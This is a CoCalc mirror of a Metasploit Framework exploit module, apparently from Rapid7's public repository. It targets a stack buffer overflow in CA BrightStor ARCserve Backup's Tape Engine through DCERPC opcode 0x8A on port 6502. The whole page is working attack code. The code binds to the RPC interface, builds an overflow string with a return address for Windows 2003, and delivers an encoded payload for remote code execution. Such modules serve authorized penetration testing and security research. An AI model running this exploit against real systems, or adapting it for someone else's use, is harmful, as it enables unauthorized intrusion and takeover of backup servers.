CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/brightstor/tape_engine_0x8a.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
16
r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow
17
the buffer and execute arbitrary code.
18
},
19
'Author' => [ 'MC' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'OSVDB', '68330'],
24
[ 'URL', 'http://www.metasploit.com/users/mc' ],
25
],
26
'Privileged' => true,
27
'DefaultOptions' =>
28
{
29
'EXITFUNC' => 'thread',
30
},
31
'Payload' =>
32
{
33
'Space' => 500,
34
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
35
'StackAdjustment' => -3500,
36
},
37
'Platform' => 'win',
38
'Targets' =>
39
[
40
[ 'BrightStor ARCserve r11.5/Windows 2003', { 'Ret' => 0x28eb6493 } ],
41
],
42
'DisclosureDate' => '2010-10-04',
43
'DefaultTarget' => 0))
44
45
register_options([ Opt::RPORT(6502) ])
46
end
47
48
def exploit
49
50
connect
51
52
handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
53
print_status("Binding to #{handle} ...")
54
55
dcerpc_bind(handle)
56
print_status("Bound to #{handle} ...")
57
58
request = "\x00\x04\x08\x0c\x05\x00\x00\x00\x00\x00"
59
request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
60
61
dcerpc.call(0x2B, request)
62
63
sploit = NDR.long(4)
64
sploit << NDR.string(rand_text_alpha_upper(1002) + [target.ret].pack('V') + payload.encoded + "\x00")
65
66
print_status("Trying target #{target.name}...")
67
68
begin
69
dcerpc_call(0x8A, sploit)
70
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
71
end
72
73
handler
74
disconnect
75
76
end
77
78
end
79
=begin
80
/* opcode: 0x8A, address: 0x100707D0 */
81
82
long sub_100707D0 (
83
[in] handle_t arg_1,
84
[in] long arg_2,
85
[in][ref][string] char * arg_3
86
);
87
=end
88
89